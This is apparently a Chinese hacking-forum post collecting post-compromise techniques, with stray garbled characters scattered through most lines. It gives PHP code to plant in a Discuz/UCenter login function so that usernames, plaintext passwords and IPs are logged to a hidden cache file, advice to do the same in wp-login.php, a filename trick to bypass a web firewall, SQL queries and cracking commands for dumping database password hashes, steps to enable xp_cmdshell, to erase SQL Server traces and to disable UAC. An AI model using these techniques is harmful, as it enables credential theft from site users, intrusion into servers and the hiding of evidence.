当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。0 \/ _" k$ _: ~* \
就是搜索case ‘login’
; D/ s# G" ]; n8 u' V$ D, U' P在它下面直接插入即可,记录的密码生成在pwd.txt中,
- X- j+ {/ d. Z其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录' l0 D& W  p9 l
利用II6文件解析漏洞绕过安全狗代码:, R; s) k$ a6 \: @, L/ `4 K
;antian365.asp;antian365.jpg3 l2 S+ a( o/ [7 |" k1 \

/ n9 h8 A5 h/ S8 v  }各种类型数据库抓HASH破解最高权限密码!
) c2 i) d9 {/ k* s& X1.sql server2000- g  m" o! q5 _' I+ g$ }( P- h
SELECT password from master.dbo.sysxlogins where name='sa'1 Q2 |- r; B6 c' d
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341, e. W2 |/ J9 C
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A' v; }- h) z+ @) [  @

1 N  Z& w( A' [5 P0×0100- constant header. n: }( G) E3 r
34767D5C- salt
# w" ?4 e# }" s6 Y) @: W# B0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
1 u0 F( M1 o! O2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
7 V  ?5 |+ t4 u# }% L% Ecrack the upper case hash in ‘cain and abel’ and then work the case sentive hash
& T  }" Y$ S& ~, N4 }+ rSQL server 2005:-. j/ B1 s) r0 S
SELECT password_hash FROM sys.sql_logins where name='sa'
- C; R9 X! Y* x: {$ U4 z0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F$ C$ l, R5 O  T7 M
0×0100- constant header
+ M" [- Z/ [' ?& v( d+ t( X& g993BF231-salt% y/ J5 L6 k8 r$ T3 z% k0 u! U" {' t
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
/ ~5 E5 ?2 \; W' b  _5 acrack case sensitive hash in cain, try brute force and dictionary based attacks.$ t. {2 ?7 T( }: d, v5 `% `' C3 k

5 l5 \- B& n" L/ L& j2 zupdate:- following bernardo’s comments:-( ^8 W  X1 I1 h
use function fn_varbintohexstr() to cast password in a hex string.
9 Z. u( I4 s; Je.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins+ x5 _" E3 @- i

7 }1 b( n  ?4 H: G8 yMYSQL:-6 N! l( q* D( t; }

7 g1 ]4 }' I2 b2 o4 p& v% h& ZIn MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2./ {% u# {6 _1 [1 T  N* M2 C

! B8 e2 Q/ s$ t# y. C*mysql  < 4.1
0 M+ I0 F( T: @0 Q0 S- `% p. G' S  V. u5 V
mysql> SELECT PASSWORD(‘mypass’);& j3 Z5 e2 D" a: x: e
+——————–+: C" i6 V8 H8 f3 m( S
| PASSWORD(‘mypass’) |  g( w! P, S0 {+ ^; o/ G' P
+——————–+
0 @! S; O8 a( i4 p9 M| 6f8c114b58f2ce9e   |
( }5 i$ x( d, Z0 n- |+——————–+
* f* W1 e9 r9 I) W+ L# a" K, u% M2 f+ R1 N
*mysql >=4.1
8 I+ \0 x9 W- p9 w. T9 q' R, J) W; v" \( S( H# w
mysql> SELECT PASSWORD(‘mypass’);$ @' }: K" F* a# R* D
+——————————————-+/ J; [0 j6 r$ i6 H, d
| PASSWORD(‘mypass’)                        |8 R3 X# F2 ?: s
+——————————————-+& {+ u2 p9 K5 @- f) T
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
0 z/ I: V- Z& K( [) Z; x+——————————————-+* q( }9 V; k2 F" S6 M5 h
" f4 r/ A+ ?( z- q2 y+ [+ x
Select user, password from mysql.user
. [! h, G8 f% i( s4 I3 [+ Z* xThe hashes can be cracked in ‘cain and abel’
% ?. {: R2 u2 t) N% N+ B; d6 }
3 S- p) C! g. n! cPostgres:-
% Y7 f& H) N# J5 y( d( `! S0 S% nPostgres keeps MD5-based password hashes for database-level users in the pg_shadow table.  You need to be the database superuser to read this table (usually called “postgres” or “pgsql”). C+ o4 `0 b; ]) X
select usename, passwd from pg_shadow;
2 n' `4 f) k! `: c, rusename      |  passwd
8 O( U+ x& x* k# k——————+————————————-7 p7 q1 ^- z7 M
testuser            | md5fabb6d7172aadfda4753bf0507ed4396$ V8 G- x5 n$ [
use mdcrack to crack these hashes:-+ f) p+ j( B; z: ?# u
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396* Q3 a$ X0 ?! T. N% q
6 l" [9 L1 X5 C7 f) [/ H
Oracle:-& P3 \* s: |* C0 T7 X8 g
select name, password, spare4 from sys.user$
" v# `9 `4 ^- K1 B3 _" l8 \! Shashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g; i2 n" I7 |- p+ u6 @9 T$ S/ F
More on Oracle later, i am a bit bored….2 w  i( {, C: y0 V; `

" {8 }/ W4 u6 B( d7 z  e
$ ^3 U0 C8 \0 W8 y' w; }1 V在sql server2005/2008中开启xp_cmdshell
3 J: l4 F- Q2 v% ~" j5 ?3 j-- To allow advanced options to be changed.7 A* q6 B/ W4 x) \
EXEC sp_configure 'show advanced options', 1, m2 }; s. [9 y" B6 u! m1 P" k+ U
GO4 L( o# O: R7 [- w; E' W+ M; p# s
-- To update the currently configured value for advanced options.
+ e) h% R  x" C: YRECONFIGURE
# l1 u' q/ o. l, y& a/ T! k: eGO
  i% v2 y2 V+ w0 s& f-- To enable the feature.7 g- ?3 Q3 D+ R' p0 x3 t1 S
EXEC sp_configure 'xp_cmdshell', 1
0 ~, |4 f  v! d0 j6 e- [6 t# QGO4 }+ I. k  x$ Q3 J/ ~" q& v
-- To update the currently configured value for this feature.# }7 u: l9 ?; y7 H6 R; L( |3 `
RECONFIGURE
  [6 c1 W5 T% z/ [7 q4 uGO) v, F& k* {+ }8 I
SQL 2008 server日志清除,在清楚前一定要备份。
! T9 r2 i) h% W% V  G如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
8 q) P+ x3 M7 T: W/ RX:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
; y1 F* ]5 j; Q' m* [+ ?+ e! F9 R5 y, z5 ~! x/ D
对于SQL Server 2008以前的版本:
' q0 [& _5 Y+ F( u+ u& {SQL Server 2005:% q. s) W* b9 }/ X$ k2 |
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
. n" A0 l- j7 Q7 i( ?/ A: O4 X+ Z( d$ OSQL Server 2000:6 W" L$ w3 ?/ z" Z- h1 \
清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft  SQL  Server\80\Tools\Client\PrefServers\相应的内容即可。5 ]5 ^; }$ U# N9 B

8 |  |+ m7 E5 B- k! a本帖最后由 simeon 于 2013-1-3 09:51 编辑3 ^" V# V+ s# Z# B# t2 {" S
# G: F1 T1 W  C. \
6 e# S7 v* w9 ~  d
windows 2008 文件权限修改9 D+ d. }% D& x
1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx0 |8 A8 s9 V( w4 b
2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98" x. H  B3 s1 Q
一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,: W; R  q7 _6 [' j6 d
2 H2 X1 }% h( U- o& K2 v; k/ u
Windows Registry Editor Version 5.006 F! V1 q! p+ Z
[HKEY_CLASSES_ROOT\*\shell\runas]
) f  y3 d0 f+ b4 x% e- u/ J, @@="管理员取得所有权"
; p& U! B/ U6 I4 ]"NoWorkingDirectory"=""' q; s& ?- h! @) L2 E0 W6 f
[HKEY_CLASSES_ROOT\*\shell\runas\command]! p1 B& \7 k/ l! A# K# j% U! M7 D
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"4 c! Y( K& W* W/ ?/ E. a
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F") g& Q2 G# R, C& t% r' Z( A" j
[HKEY_CLASSES_ROOT\exefile\shell\runas2]% F0 u" q4 }4 K  F/ Q2 n  I
@="管理员取得所有权"
3 a! A7 ^* L4 S0 y, x9 h"NoWorkingDirectory"=""
  Y0 J) h$ t- r( J) b  ][HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
; a. w, b: o8 ~0 d8 K@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
, E* ?# F# |1 B"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"6 n% m. l0 H1 r9 h1 L" v

; h  R4 b, a! f8 J9 f5 I2 ]. w[HKEY_CLASSES_ROOT\Directory\shell\runas]
/ Z0 ]8 I/ K( A8 f% u8 {9 v: ~@="管理员取得所有权"
' N, w2 a- c: g5 m9 f+ e"NoWorkingDirectory"=""
! ]  r2 d9 r6 ]: y, s  Z- `[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
  S) P0 ?9 m1 P' N@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
& S; e  i* b& ?& X& Y8 d, W"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"2 m* s7 G/ t1 n  g4 P; Y+ B6 w, q

0 i$ N! C4 X4 T- E' I, I7 N3 l/ s
3 O$ R/ j5 q- v2 K/ T$ @' Dwin7右键“管理员取得所有权”.reg导入: P; N5 ^2 X  s: U' [; L% v
二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,  Y. B% O8 E( F( Q
1、C:\Windows这个路径的“notepad.exe”不需要替换
2 z" {  U; c7 Y% U1 l8 k/ u3 d2、C:\Windows\System32这个路径的“notepad.exe”不需要替换6 n8 p$ e! c# d
3、四个“notepad.exe.mui”不要管- t! g5 F& ?1 j/ g% R- w$ K2 @
4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和( U( x: ~# l; X* v/ ?  k8 b
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”
/ B, G7 c* f* M替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,5 h& K; `, t$ [, Y; q3 m
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。; `1 {6 T) O* _& Y2 _* a
windows 2008中关闭安全策略:
5 F6 I/ f8 o% @2 kreg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
. p* E8 I2 {5 O: ~+ w. e修改uc_client目录下的client.php 在
6 F- r2 {. u( U; Y0 j; Yfunction uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {$ \; V: J4 r9 g  C' i
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
& ]" Z9 m4 W! s' n你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
, D6 R$ \; D2 n) b  }2 N; oif(getenv('HTTP_CLIENT_IP')) {+ A2 D6 y* E( ?" z3 `6 D7 y, Q
$onlineip = getenv('HTTP_CLIENT_IP');* |; a3 s/ {( _# c& P) g
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {7 y! Y" y5 p7 ^: T) N- G
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
0 g$ R; }8 i: _% D} elseif(getenv('REMOTE_ADDR')) {& h0 q$ h* e+ [# ~' J3 ^1 \
$onlineip = getenv('REMOTE_ADDR');$ ?4 u$ D( ^& S5 |  o8 }5 }: |* K
} else {
4 x# H! y& `/ j$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
& w. L& a! @- T; e+ R# N}+ N' M  w) i2 O) T8 D
     $showtime=date("Y-m-d H:i:s");
* _& k, D# k* M; X0 G% l    $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
) i" N2 e5 }8 r4 J9 H    $handle=fopen('./data/cache/csslog.php','a+');
# w# c* i& e. K, I. E- V    $write=fwrite($handle,$record);
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表